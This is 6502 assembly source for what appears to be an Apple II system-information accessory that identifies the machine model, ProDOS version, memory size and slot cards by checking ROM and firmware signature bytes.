;;;
;;; ** = $FBBF is the version byte for the Apple IIc family:
;;; $FF = Original
;;; $00 = 3.5 ROM
;;; $03 = Original Memory Expansion
;;; $04 = Revised Memory Expansion
;;; $05 = IIc Plus
;;;
;;; *** = Apple IIgs looks like an Enhanced IIe. SEC, JSR $FE1F, CC=IIgs
;;;
;;; **** = Franklin ACE 2000 appears to have different ROM versions:
;;; v5.X - has $FBC0=$EA (like an original IIe), and does not have $60 (RTS)
;;; at $FE1F, so the IIgs IDROUTINE must be used with caution: it
;;; will modify A and output text!
;;; v6.0 - has $FBC0=$E0 (like an enhanced IIe), and has $FE1F=$60
;;;
;;; The Tiger Learning Computer has identical ID bytes to the Enhanced IIe,
;;; but can be distinguished by the sequence $CC $D4 $D7 $C9 $CE $8D at $FACF
;;;
;;; The Microdigital TK-3000 //e has the string "TK3000//e" at $FF0A
;;;
;;; The Pravetz 8A and 8C look like an original IIe, with the string "ПРАВЕЦ" at $FB0A
.enum model
ii ; Apple ][
iiplus ; Apple ][+
iii ; Apple /// (emulation)
iie_original ; Apple IIe (original)
iie_enhanced ; Apple IIe (enhanced)
iie_edm ; Apple IIe (Extended Debugging Monitor)
iic_original ; Apple IIc
iic_rom0 ; Apple IIc (3.5 ROM)
iic_rom3 ; Apple IIc (Org. Mem. Exp.)
iic_rom4 ; Apple IIc (Rev. Mem. Exp.)
iic_plus ; Apple IIc Plus
iigs ; Apple IIgs
iie_card ; Apple IIe Option Card
laser128 ; Laser 128
ace500 ; Franklin ACE 500
ace2000 ; Franklin ACE 2000
tlc ; Tiger Learning Computer
trackstar_e ; Trackstar E
trackstar_plus ; Trackstar Plus
mega_iie ; Mega IIe
tk3000 ; Microdigital TK-3000 //e
pravetz ; Pravetz 8A/C
LAST
.endenum
kNumModels = model::LAST
model_str_table:
.addr str_ii ; Apple ][
.addr str_iiplus ; Apple ][+
.addr str_iii ; Apple /// (emulation)
.addr str_iie_original ; Apple IIe (original)
.addr str_iie_enhanced ; Apple IIe (enhanced)
.addr str_iie_edm ; Apple IIe (Extended Debugging Monitor)
.addr str_iic_original ; Apple IIc
.addr str_iic_rom0 ; Apple IIc (3.5 ROM)
.addr str_iic_rom3 ; Apple IIc (Org. Mem. Exp.)
.addr str_iic_rom4 ; Apple IIc (Rev. Mem. Exp.)
.addr str_iic_plus ; Apple IIc Plus
.addr str_iigs ; Apple IIgs
.addr str_iie_card ; Apple IIe Option Card
.addr str_laser128 ; Laser 128
.addr str_ace500 ; Franklin ACE 500
.addr str_ace2000 ; Franklin ACE 2000
.addr str_tlc ; Tiger Learning Computer
.addr str_trackstar_e ; Trackstar E
.addr str_trackstar_plus ; Trackstar Plus
.addr str_mega_iie ; Mega IIe
.addr str_tk3000 ; Microdigital TK-3000 //e
.addr str_pravetz ; Pravetz 8A/C
ASSERT_ADDRESS_TABLE_SIZE model_str_table, kNumModels
model_pix_table:
.addr aux::ii_bitmap ; Apple ][
.addr aux::ii_bitmap ; Apple ][+
.addr aux::iii_bitmap ; Apple /// (emulation)
.addr aux::iie_bitmap ; Apple IIe (original)
.addr aux::iie_bitmap ; Apple IIe (enhanced)
.addr aux::iie_bitmap ; Apple IIe (Extended Debugging Monitor)
.addr aux::iic_bitmap ; Apple IIc
.addr aux::iic_bitmap ; Apple IIc (3.5 ROM)
.addr aux::iic_bitmap ; Apple IIc (Org. Mem. Exp.)
.addr aux::iic_bitmap ; Apple IIc (Rev. Mem. Exp.)
.addr aux::iic_bitmap ; Apple IIc Plus
.addr aux::iigs_bitmap ; Apple IIgs
.addr aux::iie_card_bitmap ; Apple IIe Option Card
.addr aux::laser128_bitmap ; Laser 128
.addr aux::ace500_bitmap ; Franklin ACE 500
.addr aux::ace2000_bitmap ; Franklin ACE 2000
.addr aux::tlc_bitmap ; Tiger Learning Computer
.addr aux::trackstar_bitmap ; Trackstar E
.addr aux::trackstar_bitmap ; Trackstar Plus
.addr aux::mega_iie_bitmap ; Mega IIe
.addr aux::iie_bitmap ; Microdigital TK-3000 //e
.addr aux::pravetz_bitmap ; Pravetz 8A/C
ASSERT_ADDRESS_TABLE_SIZE model_pix_table, kNumModels
;;; Based on Technical Note: Miscellaneous #2: Apple II Family Identification Routines 2.1
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/misc/tn.misc.07.html
;;; Note that IIgs resolves as IIe (enh.) and is identified by ROM call.
;;;
;;; Format is: model (enum), then byte pairs [$FBxx, expected], then $00
MODEL_ID_PAGE := $FB00
model_lookup_table:
.byte model::ii
.byte $B3, $38, 0
.byte model::iiplus
.byte $B3, $EA, $1E, $AD, 0
.byte model::iii
.byte $B3, $EA, $1E, $8A, 0
.byte model::laser128
.byte $B3, $06, $1E, $AC, 0
.byte model::ace500
.byte $B3, $06, $1E, $AD, $C0, $00, 0
.byte model::ace2000 ; must check before IIe
.byte $B3, $06, $1E, $AD, $C0, $E0, $DD, $4C, 0
.byte model::trackstar_e ; must check before IIe
.byte $B3, $06, $C0, $EA, $DD, $A9, $BF, $EA, 0
.byte model::trackstar_plus ; must check before IIe
.byte $B3, $06, $C0, $E0, $DD, $A9, $BF, $EA, 0
.byte model::mega_iie ; must check before IIe
.byte $09, $CD, $0A, $E5, $0B, $E7, $0C, $E1, $0D, $A0, $0E, $C9, $0F, $C9, $10, $E5, 0
.byte model::iie_original
.byte $B3, $06, $C0, $EA, 0
.byte model::iie_card ; must check before IIe enhanced check
.byte $B3, $06, $C0, $E0, $DD, $02, 0
.byte model::iie_enhanced
.byte $B3, $06, $C0, $E0, 0
.byte model::iic_original
.byte $B3, $06, $C0, $00, $BF, $FF, 0
.byte model::iic_rom0
.byte $B3, $06, $C0, $00, $BF, $00, 0
.byte model::iic_rom3
.byte $B3, $06, $C0, $00, $BF, $03, 0
.byte model::iic_rom4
.byte $B3, $06, $C0, $00, $BF, $04, 0
.byte model::iic_plus
.byte $B3, $06, $C0, $00, $BF, $05, 0
.byte $FF ; sentinel
;;; c/o https://github.com/david-schmidt/tlc-apple2/issues/1
tlc_sequence:
.byte $CC, $D4, $D7, $C9, $CE, $8D ; "LTWIN" CR
kTLCSequenceLength = * - tlc_sequence
TLC_ID_ADDR = $FAFC
tk3000_sequence:
.byte $D4, $CB, $B3, $B0, $B0, $B0, $AF, $AF, $E5 ; "TK3000//e"
kTK3000SequenceLength = * - tk3000_sequence
TK3000_ID_ADDR = $FF0A
pravetz_8ac_sequence:
.byte $F0, $F2, $E1, $F7, $E5, $E3 ; "ПРАВЕЦ"
kPravetz8ACSequenceLength = * - pravetz_8ac_sequence
PRAVETZ_8AC_ID_ADDR = $FB0A
.proc IdentifyModel
;; Read from ROM
bit ROMIN2
ldx #0 ; offset into table
;; For each model...
DO
ldy model_lookup_table,x ; model number
bmi fail ; hit end of table
inx
;; For each byte/expected pair in table...
DO
lda model_lookup_table,x ; offset from MODEL_ID_PAGE
beq match ; success!
sta @lsb
inx
lda model_lookup_table,x
inx
@lsb := *+1
cmp MODEL_ID_PAGE ; self-modified
WHILE_EQ ; match, keep looking
;; No match, so skip to end of this entry
: inx
lda model_lookup_table-1,x
WHILE_ZERO
inx
bne :-
fail: ldy #0
match: tya
IF_A_EQ #model::iie_original
;; Is it a Pravetz 8A/C?
ldx #kPravetz8ACSequenceLength-1
DO
lda PRAVETZ_8AC_ID_ADDR,x
cmp pravetz_8ac_sequence,x
bne :+
dex
WHILE_POS
lda #model::pravetz
bne found ; always
:
lda #model::iie_original
.assert model::iie_original <> 0, error, "enum mismatch"
bne found ; always
END_IF
;; A has model; but now test for IIgs, TLC, and TK3000;
;; all masquerade as Enhanced IIe.
IF_A_EQ #model::iie_enhanced
sec
jsr IDROUTINE
IF_CC
;; Is IIgs; Y holds ROM revision
tya
ora #'0' ; convert to ASCII digit
sta str_iigs + kStrIIgsROMOffset
lda #model::iigs
bne found ; always
END_IF
;; Is it a TLC?
ldx #kTLCSequenceLength-1
DO
lda TLC_ID_ADDR,x
cmp tlc_sequence,x
bne :+
dex
WHILE_POS
lda #model::tlc
bne found ; always
:
;; Is it a TK3000?
ldx #kTK3000SequenceLength-1
DO
lda TK3000_ID_ADDR,x
cmp tk3000_sequence,x
bne :+
dex
WHILE_POS
lda #model::tk3000
bne found ; always
:
lda #model::iie_enhanced
FALL_THROUGH_TO found
END_IF
found:
;; A has model
sta model
jsr SetModelPtrs
;; Read from LC RAM
bit LCBANK1
bit LCBANK1
rts
.endproc ; IdentifyModel
;;; ============================================================
;;; Input: A = model index
;;; Output: Sets `model_str_ptr` and `model_pix_ptr`
.proc SetModelPtrs
asl
tax
copy16 model_str_table,x, model_str_ptr
copy16 model_pix_table,x, model_pix_ptr
rts
.endproc ; SetModelPtrs
;;; ============================================================
;;; KVERSION Table
;;; $00 1.0.1
;;; $01 1.0.2
;;; $01 1.1.1
;;; $04 1.4
;;; $05 1.5
;;; $07 1.7
;;; $08 1.8
;;; $08 1.9
;;; $21 2.0.1
;;; $23 2.0.3
;;; $24 2.4.x
;;; Assert: Main is banked in
.proc IdentifyProDOSVersion
;; Read ProDOS version field from global page in main
lda KVERSION
cmp #$24
bcs v_2x
cmp #$20
bcs v_20x
;; $00...$08 are 1.x (roughly)
v_1x: and #$0F
ora #'0'
sta str_prodos_version + kVersionStrMinor
copy8 #'1', str_prodos_version + kVersionStrMajor
copy8 #10, str_prodos_version ; length
rts
;; $20...$23 are 2.0.x (roughly)
v_20x: and #$0F
ora #'0'
sta str_prodos_version + kVersionStrPatch
copy8 #'0', str_prodos_version + kVersionStrMinor
copy8 #'2', str_prodos_version + kVersionStrMajor
copy8 #12, str_prodos_version ; length
rts
;; $24...??? are 2.x (so far?)
v_2x: and #$0F
ora #'0'
sta str_prodos_version + kVersionStrMinor
copy8 #'2', str_prodos_version + kVersionStrMajor
copy8 #10, str_prodos_version ; length
rts
.endproc ; IdentifyProDOSVersion
;;; ============================================================
.proc Init
JUMP_TABLE_MGTK_CALL MGTK::OpenWindow, aux::winfo
jsr DrawWindow
JUMP_TABLE_MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
jsr JUMP_TABLE_SYSTEM_TASK
JUMP_TABLE_MGTK_CALL MGTK::GetEvent, aux::event_params
jsr CopyEventDataToMain
lda event_params::kind
cmp #MGTK::EventKind::button_down ; was clicked?
beq HandleDown
cmp #MGTK::EventKind::key_down ; any key?
beq HandleKey
jmp InputLoop
.endproc ; InputLoop
.proc Exit
JUMP_TABLE_MGTK_CALL MGTK::CloseWindow, aux::winfo
jmp JUMP_TABLE_CLEAR_UPDATES ; exits input loop
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
jsr ToUpperCase
ldx event_params::modifiers
IF_NOT_ZERO
cmp #kShortcutCloseWindow
beq Exit
jmp InputLoop
END_IF
cmp #CHAR_ESCAPE
beq Exit
cmp #kShortcutEasterEgg
beq HandleEgg
jmp InputLoop
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
JUMP_TABLE_MGTK_CALL MGTK::FindWindow, aux::findwindow_params
jsr CopyEventDataToMain
lda findwindow_params::window_id
cmp #aux::kDAWindowId
bne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
JUMP_TABLE_MGTK_CALL MGTK::TrackGoAway, aux::trackgoaway_params
jsr CopyEventDataToMain
lda trackgoaway_params::clicked
beq InputLoop
bne Exit ; always
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #aux::kDAWindowId, dragwindow_params::window_id
jsr CopyEventDataToAux
JUMP_TABLE_MGTK_CALL MGTK::DragWindow, aux::dragwindow_params
jsr CopyEventDataToMain
lda dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
jsr JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleEgg
lda egg
jsr SetModelPtrs
ldx egg
inx
IF_X_EQ #kNumModels
ldx #0
END_IF
stx egg
jsr ClearWindow
jsr DrawWindow
jmp InputLoop
egg: .byte 0
.endproc ; HandleEgg
;;; ============================================================
.proc ClearWindow
JUMP_TABLE_MGTK_CALL MGTK::GetWinPort, aux::getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::PaintRect, aux::grafport + MGTK::GrafPort::maprect
rts
.endproc ; ClearWindow
;;; ============================================================
.proc DrawWindow
JUMP_TABLE_MGTK_CALL MGTK::GetWinPort, aux::getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
copy16 model_pix_ptr, bits_addr
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::notpencopy
JUMP_TABLE_MGTK_CALL MGTK::PaintBitsHC, SELF_MODIFIED, bits_addr
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, aux::model_pos
param_call_indirect DrawString, model_str_ptr
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, aux::pdver_pos
param_call DrawString, str_prodos_version
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, aux::line1
JUMP_TABLE_MGTK_CALL MGTK::LineTo, aux::line2
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, aux::mem_pos
param_call DrawString, str_memory_prefix
param_call DrawString, str_from_int
bit memory_is_mb_flag
IF_NS
param_call DrawString, str_memory_mb_suffix
ELSE
param_call DrawString, str_memory_kb_suffix
END_IF
param_call DrawString, str_cpu_prefix
jsr CPUId
jsr DrawString
copy8 #7, slot
copy8 #1<<7, mask
loop: lda slot
asl
tax
copy16 slot_pos_table,x, slot_pos
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, 0, slot_pos
lda slot
ora #'0'
sta str_slot_n + kStrSlotNOffset
param_call DrawString, str_slot_n
;; Possibilities:
;; * ProDOS thinks there's a card - may be firmware or no firmware
;; * ProDOS thinks there's no card, because it doesn't have firmware
;; * ProDOS thinks there's no card, because it's empty
;; Check ProDOS slot bit mask
lda SLTBYT
and mask
IF_NOT_ZERO
;; ProDOS thinks there's a card...
lda slot
jsr ProbeSlot ; check for matching firmware
bcs draw
lda slot ; check non-firmware cases in case of
jsr ProbeSlotNoFirmware ; false-positive (e.g. emulator)
bcs draw
ldax #str_unknown
bne draw ; always
END_IF
lda slot
jsr ProbeSlotNoFirmware
bcs draw
ldax #str_empty
draw: php
jsr DrawString
plp
IF_VS
;; V=1 means smartport - print out the names
lda slot
jsr SetSlotPtr
jsr ShowSmartPortDeviceNames
END_IF
;; Special case for Slot 2
lda slot
IF_A_EQ #2
jsr SetSlotPtr
param_call WithInterruptsDisabled, DetectTheCricket
IF_CS
param_call DrawString, str_list_separator
param_call DrawString, str_cricket
END_IF
END_IF
;; Special case for Slot 3 cards
lda slot
IF_A_EQ #3
bit ROMIN2
jsr DetectLeChatMauveEve
php
bit LCBANK1
bit LCBANK1
plp
IF_NE
param_call DrawString, str_list_separator
param_call DrawString, str_lcmeve
ELSE
lda slot
jsr SetSlotPtr
param_call WithInterruptsDisabled, DetectUthernet2
IF_CS
param_call DrawString, str_list_separator
param_call DrawString, str_uthernet2
END_IF
END_IF
END_IF
lsr mask
dec slot
jne loop
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
rts
slot: .byte 0
mask: .byte 0
.endproc ; DrawWindow
;;; ============================================================
;;; Point $06/$07 at $Cn00
;;; Input: Slot in A
.proc SetSlotPtr
ptr := $6
ora #$C0
sta ptr+1
copy8 #0, ptr
rts
.endproc ; SetSlotPtr
;;; ============================================================
;;; Firmware Detector:
;;; Input: Slot # in A
;;; Output: Carry set and string ptr in A,X if detected, carry clear otherwise
;;; Overflow set if SmartPort.
;;;
;;; Uses a variety of sources:
;;; * Technical Note: ProDOS #21: Identifying ProDOS Devices
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/pdos/tn.pdos.21.html
;;; * Technical Note: Miscellaneous #8: Pascal 1.1 Firmware Protocol ID Bytes
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/misc/tn.misc.08.html
;;; * "ProDOS BASIC Programming Examples" disk
.proc ProbeSlot
ptr := $6
;; Point ptr at $Cn00
jsr SetSlotPtr
;; Get Firmware Byte
.macro GET_FWB offset
ldy #offset
lda (ptr),y
.endmacro
;; Compare Firmware Byte
.macro COMPARE_FWB offset, value
GET_FWB offset
cmp #value
.endmacro
;;; ---------------------------------------------
;;; Per Technical Note: Miscellaneous #8: Pascal 1.1 Firmware Protocol ID Bytes
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/misc/tn.misc.08.html
;;; ProDOS and SmartPort Devices
ldax #sigtable_prodos_device
jsr SigCheck
IF_CS
;;; Per Technical Note: ProDOS #21: Identifying ProDOS Devices
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/pdos/tn.pdos.21.html
COMPARE_FWB $FF, $00 ; $CnFF == $00 ?
IF_EQ
return16 #str_diskii
END_IF
;; Smartport?
COMPARE_FWB $07, $00 ; $Cn07 == $00 ?
IF_EQ
sec
bit ret ; set V flag to signal SmartPort
ldax #str_smartport
ret: rts
END_IF
;; Block devices - a few signatures
ldax #sigtable_nvram
jsr SigCheck
IF_CS
return16 #str_nvram
END_IF
ldax #sigtable_booti
jsr SigCheck
IF_CS
return16 #str_booti
END_IF
ldax #sigtable_xdrive
jsr SigCheck
IF_CS
return16 #str_xdrive
END_IF
sec
return16 #str_block
END_IF
;;; ---------------------------------------------
;;; VidHD
ldax #sigtable_vidhd
jsr SigCheck
IF_CS
return16 #str_vidhd
END_IF
;;; ---------------------------------------------
;;; Apple IIe Technical Reference Manual
;;; Pascal 1.1 firmware protocol
;;;
;;; $Cs05 $38 (like the old Apple II Serial Interface card)
;;; $Cs07 $18 (like the old Apple II Serial Interface card)
;;; $Cs0B $01 (the generic signature of new cards)
;;; $Cs0C $ci (the device signature)
;;; c = device class
;;; i = unique identifier
ldax #sigtable_pascal_device
jsr SigCheck
jcc notpas
;; Workstation card has same ID bytes as Super Serial Card,
;; so test a few more after the Pascal 1.1 firmware signature
ldax #sigtable_workstation
jsr SigCheck
IF_CS
return16 #str_workstation
END_IF
GET_FWB $0C ; $Cn0C == ....
.macro IF_SIGNATURE_THEN_RETURN byte, arg
cmp #byte
IF_EQ
return16 #arg ; C=1 implicitly if Z=1
END_IF
.endmacro
;; Specific Apple cards/built-ins
IF_SIGNATURE_THEN_RETURN $31, str_ssc
IF_SIGNATURE_THEN_RETURN $88, str_80col
IF_SIGNATURE_THEN_RETURN $20, str_mouse
IF_SIGNATURE_THEN_RETURN $14, str_grappler
IF_SIGNATURE_THEN_RETURN $41, str_applecat
;; Generic cards
and #$F0 ; just device class nibble
IF_SIGNATURE_THEN_RETURN $10, str_printer
IF_SIGNATURE_THEN_RETURN $20, str_joystick
IF_SIGNATURE_THEN_RETURN $30, str_io
IF_SIGNATURE_THEN_RETURN $40, str_modem
IF_SIGNATURE_THEN_RETURN $50, str_audio
IF_SIGNATURE_THEN_RETURN $60, str_clock
IF_SIGNATURE_THEN_RETURN $70, str_storage
IF_SIGNATURE_THEN_RETURN $80, str_80col
IF_SIGNATURE_THEN_RETURN $90, str_network
;; Pascal Firmware, but unknown type. Return
;; "unknown" otherwise it will be detected as serial below.
sec
return16 #str_unknown
notpas:
;;; ---------------------------------------------
;;; Based on ProDOS detection
;;; ThunderClock
ldax #sigtable_thunderclock
jsr SigCheck
IF_CS
return16 #str_thunderclock
END_IF
;;; ---------------------------------------------
;;; Based on ProDOS BASIC Programming Examples
;;; Silentype
ldax #sigtable_silentype
jsr SigCheck
IF_CS
return16 #str_silentype
END_IF
;;; Clock
ldax #sigtable_clock
jsr SigCheck
IF_CS
return16 #str_clock
END_IF
;;; Communications Card
ldax #sigtable_comm
jsr SigCheck
IF_CS
return16 #str_comm
END_IF
;;; Serial Card
ldax #sigtable_serial
jsr SigCheck
IF_CS
return16 #str_serial
END_IF
;;; Parallel Card
ldax #sigtable_parallel
jsr SigCheck
IF_CS
return16 #str_parallel
END_IF
rts
;;; Input: A,X = pointer to table (num, offset, value, offset, value, ...)
;;; Output: C=1 on match, C=0 on no match
.proc SigCheck
stax table_ptr
ldx #0 ; first byte in table is number of pairs
jsr get_next
asl a ; if 2 entries, then point at table[4] (etc)
tax
DO
jsr get_next ; second byte in pair is value
sta @compare_byte
dex
jsr get_next ; first byte in pair is offset
tay
lda (ptr),y
@compare_byte := *+1
cmp #SELF_MODIFIED_BYTE
bne no_match
dex
WHILE_NOT_ZERO
;; match
sec
rts
no_match:
clc
rts
get_next:
table_ptr := *+1
lda SELF_MODIFIED,x
rts
.endproc ; SigCheck
;;; --------------------------------------------------
;;; Format is: num, offset, value, offset, value, ...
;;; Firmware protocol signatures
sigtable_pascal_device: .byte 3, $05, $38, $07, $18, $0B, $01
sigtable_prodos_device: .byte 3, $01, $20, $03, $00, $05, $03
;;; Specific device signatures
sigtable_vidhd: .byte 3, $00, $24, $01, $EA, $02, $4C
sigtable_silentype: .byte 3, $17, $C9, $37, $CF, $4C, $EA
sigtable_thunderclock: .byte 4, $00, $08, $02, $28, $04, $58, $06, $70
sigtable_workstation: .byte 4, $0C, $31, $0D, $9D, $0E, $A3, $0F, $24
;;; Generic signatures (c/o ProDOS BASIC Programming Examples)
sigtable_clock: .byte 3, $00, $08, $01, $78, $02, $28
sigtable_comm: .byte 2, $05, $18, $07, $38
sigtable_serial: .byte 2, $05, $38, $07, $18
sigtable_parallel: .byte 2, $05, $48, $07, $48
;;; Block Devices
sigtable_nvram: .byte 3, $07, $3C, $0B, $58, $0C, $FF
sigtable_booti: .byte 4, $07, $3C, $0B, $B0, $0C, $01, $F0, $D5
sigtable_xdrive: .byte 4, $07, $3C, $0B, $B0, $0C, $01, $F0, $CA
.endproc ; ProbeSlot
;;; ============================================================
;;; Check for cards without firmware.
;;; Input: Slot # in A
;;; Output: Carry set and string ptr in A,X if detected, carry clear otherwise
.proc ProbeSlotNoFirmware
;; Point ptr at $Cn00
jsr SetSlotPtr
param_call WithInterruptsDisabled, DetectMockingboard
IF_CS
return16 #str_mockingboard
END_IF
param_call WithInterruptsDisabled, DetectZ80
IF_CS
return16 #str_z80
END_IF
param_call WithInterruptsDisabled, DetectUthernet2
IF_CS
return16 #str_uthernet2
END_IF
param_call WithInterruptsDisabled, DetectPassportMIDI
IF_CS
return16 #str_passport
END_IF
clc
rts
.endproc ; ProbeSlotNoFirmware
;;; ============================================================
.include "../lib/with_interrupts_disabled.s"
;;; ============================================================
;;; Detect Z80
;;; Assumes $06 points at $Cn00, returns carry set if found
;;; This routine gets swapped into $0FFD for execution
.assert * > $0FFD + sizeof_Z80Routine, error, "Z80 collision"
.proc Z80Routine
target := $0FFD
;; .org $FFFD
patch := *+2
.byte $32, $00, $e0 ; ld ($Es00),a ; s=slot being probed turn off Z80, next PC is $0000
.byte $3e, $01 ; ld a,$01
.byte $32, $08, $00 ; ld (flag),a
.byte $c3, $fd, $ff ; jp $FFFD
flag := *
.byte $00 ; flag: .db $00
.endproc ; Z80Routine
sizeof_Z80Routine = .sizeof(Z80Routine)
.proc DetectZ80
;; Convert $Cn to $En, update Z80 code
lda $07 ; $Cn
ora #$E0
sta Z80Routine::patch
;; Clear detection flag
copy8 #0, Z80Routine::flag
;; Put routine in place
jsr SwapRoutine
;; Try to invoke Z80
ldy #0
sta ($06),y
;; Restore memory
jsr SwapRoutine
;; Flag will be set to 1 by routine if Z80 was present.
lda Z80Routine::flag
ror ; move flag into carry
rts
.proc SwapRoutine
ldx #.sizeof(Z80Routine)-1
DO
swap8 Z80Routine::target,x, Z80Routine,x
dex
WHILE_POS
rts
.endproc ; SwapRoutine
.endproc ; DetectZ80
;;; Detect Uthernet II
;;; Assumes $06 points at $Cn00, returns carry set if found
.proc DetectUthernet2
;; Based on the a2RetroSystems Uthernet II manual
MR := $C084
;; Mode Register
;; * bit 7 = Software Reset
;; * bit 6 = Reserved
;; * bit 5 = Reserved
;; * bit 4 = Ping Block mode
;; * bit 3 = PPPoE mode
;; * bit 2 = Not Used
;; * bit 1 = Address Auto-Increment
;; * bit 0 = Indirect Bus mode (must be 1 to operate)
lda $07 ; $Cn
and #$0F ; $0n
asl
asl
asl
asl ; $n0
tax ; Slot in high nibble of X
;; First, test if it is potentially an Uthernet II in operation
;; (e.g. running VEDRIVE). If so, avoid resetting it.
lda MR,x
and #%00000001 ; required for operation
beq oldtest ; not set, try reset
;; --------------------------------------------------
;; Probe without resetting the device
lda MR,x
and #%01111111 ; Be absolutely sure we don't reset
eor #%01110111 ; Flip all the non-significant bits
sta MR,x
cmp MR,x ; Did they "stick"?
bne fail
eor #%01110111 ; Flip them all back
sta MR,x
cmp MR,x ; Did they "stick" again?
beq success
bne fail ; always
;; --------------------------------------------------
;; Probe using reset
oldtest:
;; Send the RESET command
copy8 #$80, MR,x
nop
nop
lda MR,x ; Should get zero
bne fail
;; Configure operating mode with auto-increment
copy8 #3, MR,x ; Operating mode
cmp MR,x ; Read back MR
bne fail
;; Probe successful
success:
sec
rts
fail: clc
rts
.endproc ; DetectUthernet2
;;; Detect Passport MIDI Card
;;; Assumes $06 points at $Cn00, returns carry set if found
.proc DetectPassportMIDI
.include "../inc/passport_midi.inc"
;; Set up `read` and `write` subroutines
lda $07 ; A = $Cn
asl
asl
asl
asl ; A = $n0
clc
adc #$80
sta read_lo
sta write_lo
;; ----------------------------------------
;; Initialize 6840 PTM timers
kOpFlags = kInternalClock | kCounterSingle16Bit | kModeSingleShot | kInterruptsDisabled
kMSBPattern1 = %10101010
kLSBPattern1 = %11001001
kMSBPattern2 = %01010101
kLSBPattern2 = %00110110
;; Reset and hold timers
lda #(kOpFlags | 1) ; give write access to CR#1
ldx #kOffsetWriteCR2
jsr write
lda #(kOpFlags | 1) ; timers hold (reset)
ldx #kOffsetWriteCR13
jsr write
;; ----------------------------------------
;; Write to both Timer 1 and Timer 2
;; Write to MSB Buffer
lda #kMSBPattern1
ldx #kOffsetWriteMSBBuffer
jsr write
;; Write to Timer 1 LSB
lda #kLSBPattern1
ldx #kOffsetWriteTimer1LSB
jsr write
;; Write to MSB Buffer
lda #kMSBPattern2
ldx #kOffsetWriteMSBBuffer
jsr write
;; Write to Timer 2 LSB
lda #kLSBPattern2
ldx #kOffsetWriteTimer2LSB
jsr write
;; ----------------------------------------
;; Read back and verify
;; Read Timer 1 MSB
ldx #kOffsetReadTimer1MSB
jsr read
cmp #kMSBPattern1
bne fail
;; Read LSB Buffer
ldx #kOffsetReadLSBBuffer
jsr read
cmp #kLSBPattern1
bne fail
;; Read Timer 2 MSB
ldx #kOffsetReadTimer2MSB
jsr read
cmp #kMSBPattern2
bne fail
;; Read LSB Buffer
ldx #kOffsetReadLSBBuffer
jsr read
cmp #kLSBPattern2
bne fail
;; Probe successful
success:
sec
rts
fail: clc
rts
;; ----------------------------------------
;; LDX offset / JSR read / A = value
read_lo := *+1
read: lda $C080,x ; self-modified to $C0n0
rts
;; ----------------------------------------
;; LDA value / LDX offset / JSR write
write_lo := *+1
write: sta $C080,x ; self-modified to $C0n0
rts
.endproc ; DetectPassportMIDI
.include "../lib/detect_mockingboard.s"
.include "../lib/detect_thecricket.s"
;;; ============================================================
;;; Update `str_memory` with memory count in kilobytes
;;; Assert: Main is banked in (for `CheckSlinkyMemory` call)
.proc IdentifyMemory
copy16 #0, memory
jsr CheckRamworksMemory
sty memory ; Y is number of 64k banks
IF_Y_EQ #0 ; 0 means 256 banks
inc memory+1
END_IF
inc16 memory ; Main 64k memory
jsr CheckIIgsMemory
jsr CheckSlinkyMemory
lda memory+1
and #%11111100
IF_ZERO
;; Convert number of 64K banks to KB
ldy #6
DO
asl16 memory ; * 64
dey
WHILE_NOT_ZERO
ELSE
;; Convert number of 64K banks to MB
ldy #4
DO
lsr16 memory ; / 16
dey
WHILE_NOT_ZERO
SET_BIT7_FLAG memory_is_mb_flag
END_IF
ldax memory
jmp IntToStringWithSeparators
.endproc ; IdentifyMemory
;;; ============================================================
;;; Calculate RamWorks memory; returns number of banks in Y
;;; (256 banks = 0, since there must be at least 1)
;;;
;;; Note the bus floats for RamWorks RAM when the bank has no RAM,
;;; or bank selection may wrap to an earlier bank. This requires
;;; three passes (mark, count, restore); if count and restore are
;;; combined, it will produce false-positives if wrapping occurs
;;; (see https://github.com/a2stuff/a2d/issues/131).
;;;
;;; RamWorks-style cards are not guaranteed to have contiguous banks.
;;; a user can install 64Kb or 256Kb chips in a physical bank, in the
;;; former case, a gap in banks will appear. Additionally, the piggy
;;; back cards may not have contiguous banks depending on capacity
;;; and installed chips.
;;;
;;; AE RamWorks cards can only support 8M max (banks $00-$7F), but
;;; the various emulators support 16M max (banks $00-$FF).
;;;
;;; If RamWorks is not present, bank switching is a no-op and the
;;; same regular 64Kb AUX bank is present throughout the test; this
;;; will be handled by an invalid signature check for other banks.
;;;
;;; Assert: Main is banked in
.proc CheckRamworksMemory
sigb0 := $00
sigb1 := $01
;; DAs are loaded with $1C00 as the io_buffer, so
;; $1C00-$1FFF MAIN is free.
buf0 := DA_IO_BUFFER
buf1 := DA_IO_BUFFER + $100
php
sei ; don't let interrupts happen while the memory map is munged
;; Assumes ALTZPON on entry/exit
ldy #0 ; populated bank count
;; Iterate downwards (in case unpopulated banks wrap to earlier ones),
;; saving bytes and marking each bank.
.scope
ldx #255 ; bank we are checking
DO
stx RAMWORKS_BANK
